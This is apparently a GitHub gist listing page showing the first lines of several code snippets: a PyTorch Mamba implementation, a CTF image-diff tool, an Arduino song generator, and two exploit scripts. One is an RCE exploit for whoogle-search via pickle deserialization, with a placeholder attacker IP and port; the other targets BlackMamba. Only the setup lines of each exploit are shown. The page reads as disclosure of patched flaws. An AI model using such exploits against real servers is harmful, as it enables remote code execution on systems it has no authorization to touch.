Skip to content

Instantly share code, notes, and snippets.

@fern89
fern89 / mamba.py
Created May 7, 2025 11:14
Implementation of Mamba in Pytorch
import torch.optim as optim
import torch.nn as nn
from torchvision import datasets, transforms
import torch, math
import torch.nn.functional as F
def selective_scan(u, dt, A, B, C, D):
dA = torch.einsum('bld,dn->bldn', dt, A)
dB_u = torch.einsum('bld,bld,bln->bldn', dt, u, B)
dA = dA.clamp(min=-20)
@fern89
fern89 / differ.py
Created December 1, 2024 13:59
Tool to instasolve ctf chals that involve finding colour differences of like 1 shade in rgb
import numpy as np
from PIL import Image
import sys
def shift_and_xor(image_path, output_path, threshold):
img = Image.open(image_path)
img_array = np.array(img)
shifted = np.zeros_like(img_array)
shifted[1:, 1:] = img_array[:-1, :-1]
result = img_array ^ shifted
@fern89
fern89 / generator.py
Last active November 9, 2024 14:51
Arduino code to play the song Thick Of It by KSI. Featuring arpeggios, wayyyy too much bitbanging, and works on a standard piezo. Notes from https://musescore.com/user/38836482/scores/21236776
import mido, time
mid = mido.MidiFile('thick.mid')
def note2freq(note):
if note == 0:
return 0
a = 440
fq = (a / 32) * (2 ** ((note - 9) / 12))
return round(1000000 / (2 * fq))
@fern89
fern89 / whoogle.py
Last active December 24, 2025 12:56
# https://github.com/benbusby/whoogle-search RCE EXPLOIT
# https://github.com/benbusby/whoogle-search/blob/main/app/models/config.py#L265 - insecure pickle deserialize
# PATCHED IN https://github.com/benbusby/whoogle-search/commit/223f00c3c0533423114f99b30c561278bc0b42ba
# Copyright fern89, 2024
# https://fern89.github.io/posts/whoogle-rce/
import pickle, os, base64, brotli, urllib.parse, requests
targ = "http://[SERVER]/"
ipport = '("[IP]",[PORT])'
@fern89
fern89 / mamba.py
Last active November 1, 2024 05:56
# https://github.com/loseys/BlackMamba EXPLOIT
# Copyright fern89, 2024
import socket
import base64
from cryptography.fernet import Fernet
ip = '[IP of remote server]'
port = [PORT of remote server]